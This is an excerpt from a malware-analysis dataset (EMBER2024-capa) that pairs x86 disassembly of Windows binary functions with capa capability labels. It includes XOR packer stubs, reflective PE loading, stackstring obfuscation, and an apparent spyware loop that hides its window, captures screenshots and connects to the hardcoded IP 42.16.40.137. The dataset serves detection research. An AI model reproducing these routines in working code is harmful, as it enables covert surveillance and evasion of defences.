joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6400fc20
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x6400fbeb
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x6400fbe6
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x6400fbd0
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x6400fbd8
cmp edx, ebx
jne 0x6400fd26
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x6400fba7
add eax, dword [eax + 4]
jmp 0x6400fb94
mov dword [ebp + 0xc], ebx
jmp 0x6400fbf6
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x6400fc0e
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x6400fc2c
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x6400fc8a
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x6400fc71
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x6400fc7a
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x6400fc84
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x6400fc66
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x6400fbf0
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x6400fcd7
dec eax
je 0x6400fcce
sub eax, 3
je 0x6400fcc5
mov dword [ebp - 4], 0x40
jmp 0x6400fcf4
mov dword [ebp - 4], 4
jmp 0x6400fcda
mov dword [ebp - 4], 0x20
jmp 0x6400fcda
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x6400fd26
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x6400fca6
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.6400f537
dec dword [ecx + 0x7b]
invalid
xchg bh, bh
jne 0x6400fd31
push 1
push esi
call edi
mov eax, esi
jmp 0x6400fd32
rcr byte [edi + 0x5e], 0x5b
Function at 0x6400fdb8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax - 0x3a]
test dword [esp + edi*8 - 0x39bb0001], edi
test dword [ebp + 0x55fffffc], edi
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.6400f547
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.6400f4fc
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
movsd dword es:[edi], dword [esi]
aas
cld
invalid
inc dword [eax]
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
invalid
Function at 0x64011bf9
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x6401c014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.64005994
and dword [ebp - 0x14], 0
cmp dword [0x6401dba8], 0
mov dword [ebp - 0x18], eax
jne 0x64011cac
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x64011d54
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x64011d54
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x6401dba8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x6401dbac], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x6401dbb0], eax
call edi
push eax
call esi
mov dword [0x6401dbb8], eax
test eax, eax
je 0x64011cac
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x6401dbb4], eax
mov eax, dword [0x6401dbb4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x64011d05
cmp dword [0x6401dbb8], ecx
je 0x64011d05
push eax
call esi
push dword [0x6401dbb8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x64011d05
test ebx, ebx
je 0x64011d05
call edi
test eax, eax
je 0x64011cfc
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x64011cfc
test byte [ebp - 8], 1
jne 0x64011d05
or dword [ebp + 0x10], 0x200000
jmp 0x64011d38
mov eax, dword [0x6401dbac]
cmp eax, dword [ebp - 0x18]
je 0x64011d38
push eax
call esi
test eax, eax
je 0x64011d38
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x64011d38
mov eax, dword [0x6401dbb0]
cmp eax, dword [ebp - 0x18]
je 0x64011d38
push eax
call esi
test eax, eax
je 0x64011d38
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x6401dba8]
call esi
test eax, eax
je 0x64011d54
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x64011d56
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.64003b2c
leave
ret
Function at 0x4068a5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4068c9
xor eax, eax
test eax, eax
je 0x4068dc
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x4068dc
xor ecx, ecx
jmp 0x4068df
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406a02
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4275ac], 0
push esi
jne 0x406a39
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406a13
mov dword [ecx*4 + 0x4275a8], eax
inc ecx
cmp ecx, 0x100
jl 0x406a0e
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406a6a
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4275a8]
xor eax, esi
inc ecx
dec edx
jne 0x406a4c
pop edi
not eax
pop esi
ret 0xc

Function at 0x431006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..3ean
nop
nop
mov ebx, 0x40915c
nop
mov ecx, 0x27c42ad8
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..7LWLf
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x2cb8005a
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x402190
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
mov edi, ecx
call dword [sym.imp.USER32.dll_GetDC]
push eax
mov dword [ebp - 0x54], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
mov dword [ebp - 0x50], eax
call esi
push 1
mov dword [ebp - 0x4c], eax
call esi
mov esi, dword [ebp - 0x54]
mov ebx, eax
mov eax, dword [ebp - 0x4c]
mov ecx, ebx
push 0
push 0
mov dword [ebp - 0x40], eax
neg ecx
lea eax, [ebp - 0x48]
mov dword [ebp - 0x44], 0x28
push eax
push 0
lea eax, [ebp - 0x44]
mov dword [ebp - 0x3c], ecx
push eax
push esi
mov dword [ebp - 0x38], 0x180001
mov dword [ebp - 0x34], 0
call dword [sym.imp.GDI32.dll_CreateDIBSection]
push eax
push dword [ebp - 0x50]
mov dword [ebp - 0x58], eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push esi
push ebx
push dword [ebp - 0x4c]
push 0
push 0
push dword [ebp - 0x50]
call dword [sym.imp.GDI32.dll_BitBlt]
cmp dword [edi + 0x14], 0x10
jb 0x402237
mov edi, dword [edi]
push 0x429738
push edi
call fcn.0040a6a8
mov esi, eax
add esp, 8
test esi, esi
je 0x40230d
mov edi, dword [ebp - 0x4c]
mov eax, edi
mov dword [ebp - 0x18], 0x20000
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
and eax, 0x800000ff
jns 0x402277
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0xc], al
mov eax, edi
cdq
and edx, 0xff
add eax, edx
sar eax, 8
mov byte [ebp - 0xb], al
mov eax, ebx
and eax, 0x800000ff
jns 0x40229b
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0xa], al
mov eax, ebx
cdq
and edx, 0xff
mov byte [ebp - 7], 0
add eax, edx
sar eax, 8
mov byte [ebp - 9], al
mov al, byte [ebp - 0x36]
push esi
push 1
mov byte [ebp - 8], al
lea eax, [ebp - 0x18]
push 0xc
push eax
call fcn.0040aff7
push esi
push 1
lea eax, [ebp - 0xc]
push 6
push eax
call fcn.0040aff7
imul ebx, edi
push esi
push 1
lea eax, [ebx + ebx*2]
push eax
push dword [ebp - 0x48]
call fcn.0040aff7
push esi
call fcn.0040aa7e
add esp, 0x34
push dword [ebp - 0x58]
call dword [sym.imp.GDI32.dll_DeleteObject]
push dword [ebp - 0x50]
call dword [sym.imp.GDI32.dll_DeleteDC]
push dword [ebp - 0x54]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405850
mov esp, ebp
pop ebp
ret
Function at 0x402830
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1b0
mov eax, dword [0x42c004]
xor eax, esp
mov dword [esp + 0x1ac], eax
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [esp + 0x20]
push eax
push 0x202
mov esi, ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp dword [esi + 0x14], 0x10
xorps xmm0, xmm0
movlpd qword [esp + 0x18], xmm0
jb 0x402872
mov esi, dword [esi]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x581b
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [esp + 0x16], ax
mov eax, 2
push 1
push eax
mov word [esp + 0x1c], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
lea eax, [esp + 0x10]
push 0x10
push eax
push esi
mov dword [esp + 0x18], esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4028d6
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
mov ecx, dword [esp + 0x1ac]
xor ecx, esp
call fcn.00405850
mov esp, ebp
pop ebp
ret
mov edx, edi
lea ecx, [esp + 0xc]
call fcn.00402320
mov ecx, dword [esp + 0x1b4]
pop edi
pop esi
xor ecx, esp
call fcn.00405850
mov esp, ebp
pop ebp
ret

Function at 0x402900
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41e175
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xb
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x44]
push str.C:_assembly
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
call fcn.004048e0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2c]
push 0xc
mov dword [ebp - 0x2c], 0
push str.42.16.40.137
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
call fcn.004048e0
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
nop word [eax + eax]
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 2
call fcn.00402190
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402830
add esp, 4
push 0xbb8
call esi
mov dword [ebp - 4], 1
jmp 0x4029a0
Function at 0x402d30
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
cmp dword [ecx + 0x38], 0
push ebx
push esi
push edi
mov dword [esp + 0xc], ecx
je 0x402e16
mov esi, dword [ebp + 0x10]
mov ebx, esi
mov edx, dword [ebp + 0xc]
mov edi, edx
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
test esi, esi
jl 0x402e05
jg 0x402d70
test edx, edx
je 0x402e05
nop dword [eax]
call fcn.00404370
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x402dc4
jg 0x402d87
test esi, esi
je 0x402dc4
cmp ebx, eax
jg 0x402d97
jl 0x402d91
cmp edi, esi
jae 0x402d97
mov esi, edi
mov dword [esp + 0x14], ebx
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
push esi
push eax
mov eax, dword [ecx + 0x20]
push dword [eax]
call fcn.00407ca0
mov ecx, dword [esp + 0x18]
add esp, 0xc
sub edi, esi
sbb ebx, dword [esp + 0x14]
mov eax, dword [ecx + 0x30]
sub dword [eax], esi
mov eax, dword [ecx + 0x20]
add dword [eax], esi
jmp 0x402de9
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
mov edx, dword [ecx]
movzx eax, byte [eax]
push eax
call dword [edx + 0xc]
cmp eax, 0xffffffff
je 0x402dff
mov ecx, dword [esp + 0xc]
add edi, 0xffffffff
mov esi, 1
adc ebx, 0xffffffff
add dword [esp + 0x10], esi
test ebx, ebx
jg 0x402d70
jl 0x402dff
test edi, edi
jne 0x402d70
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
sub edx, edi
mov eax, edx
sbb esi, ebx
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ecx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], eax
test eax, eax
je 0x402e38
mov eax, dword [ecx + 0x30]
mov eax, dword [eax]
jmp 0x402e3a
xor eax, eax
cdq
mov ebx, eax
mov eax, edx
mov dword [esp + 0x14], eax
test edi, edi
jl 0x402eb8
jg 0x402e4d
test esi, esi
je 0x402eb8
test eax, eax
jl 0x402e9c
jg 0x402e57
test ebx, ebx
je 0x402e9c
cmp edi, eax
jg 0x402e67
jl 0x402e61
cmp esi, ebx
jae 0x402e67
mov ebx, esi
mov dword [esp + 0x14], edi
push ebx
push dword [ebp + 8]
push dword [esp + 0x18]
call fcn.00407ca0
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
sub esi, ebx
sbb edi, dword [esp + 0x14]
add edx, ebx
mov eax, dword [ecx + 0x30]
sub dword [eax], ebx
mov eax, dword [ecx + 0x20]
add dword [eax], ebx
test edi, edi
jl 0x402eb8
jg 0x402e9f
test esi, esi
je 0x402eb8
jmp 0x402e9f
mov edx, dword [ebp + 8]
mov eax, dword [ecx + 0x4c]
test eax, eax
je 0x402eb8
push eax
push esi
push 1
push edx
call fcn.0040aff7
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x402ed0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x402f02
jl 0x402ef5
test ecx, ecx
jne 0x402f02
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x402fc2
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.00404390
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x402f6e
jg 0x402f2d
test esi, esi
je 0x402f6e
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x402f45
mov eax, dword [esp + 0x10]
jl 0x402f3f
cmp eax, esi
jae 0x402f45
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.00407ca0
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x402f8f
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x402fab
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x402f14
jl 0x402fab
test ecx, ecx
jne 0x402f14
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x403001
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x403001
mov edi, dword [esp + 0xc]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push edi
call fcn.00407ca0
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [esp + 0x18], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
cmp dword [ebx + 0x4c], 0
mov ecx, edi
je 0x403070
mov esi, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [esi], eax
jne 0x403027
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [esi], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
mov ecx, edi
cmp edi, 0xfff
jbe 0x403059
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.0040b60b
sub edi, eax
add esp, 0x10
add esi, eax
mov ecx, edi
cmp eax, 0xfff
jne 0x403084
cmp edi, eax
ja 0x403035
test ecx, ecx
je 0x403070
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.0040b60b
mov ecx, edi
add esp, 0x10
sub ecx, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, ecx
sbb edx, 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4033f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x403420
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405850
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x40345c
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x40345c
lea ecx, [edi - 1]
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405850
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x403544
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x403484
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4034b7
push dword [esi + 0x4c]
movsx eax, bl
push eax
call fcn.0040a4dc
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405850
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
mov edx, dword [ecx]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x1c]
sub eax, 0
je 0x403517
sub eax, 1
je 0x403517
sub eax, 2
jne 0x403544
push dword [esi + 0x4c]
movsx eax, byte [ebp - 0x25]
push eax
call fcn.0040a4dc
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405850
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x403534
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.0040aff7
add esp, 0x10
cmp edi, eax
jne 0x403544
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
jne 0x403447
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405850
mov esp, ebp
pop ebp
ret 4
Function at 0x4040c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x40417a
cmp byte [esi + 0x3d], 0
je 0x40417a
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x404168
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x404130
sub eax, 1
je 0x404134
sub eax, 2
jne 0x404168
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405850
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x404151
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.0040aff7
add esp, 0x10
cmp edi, eax
jne 0x404168
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405850
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405850
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.00405850
mov esp, ebp
pop ebp
ret
Function at 0x4117fc
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00411672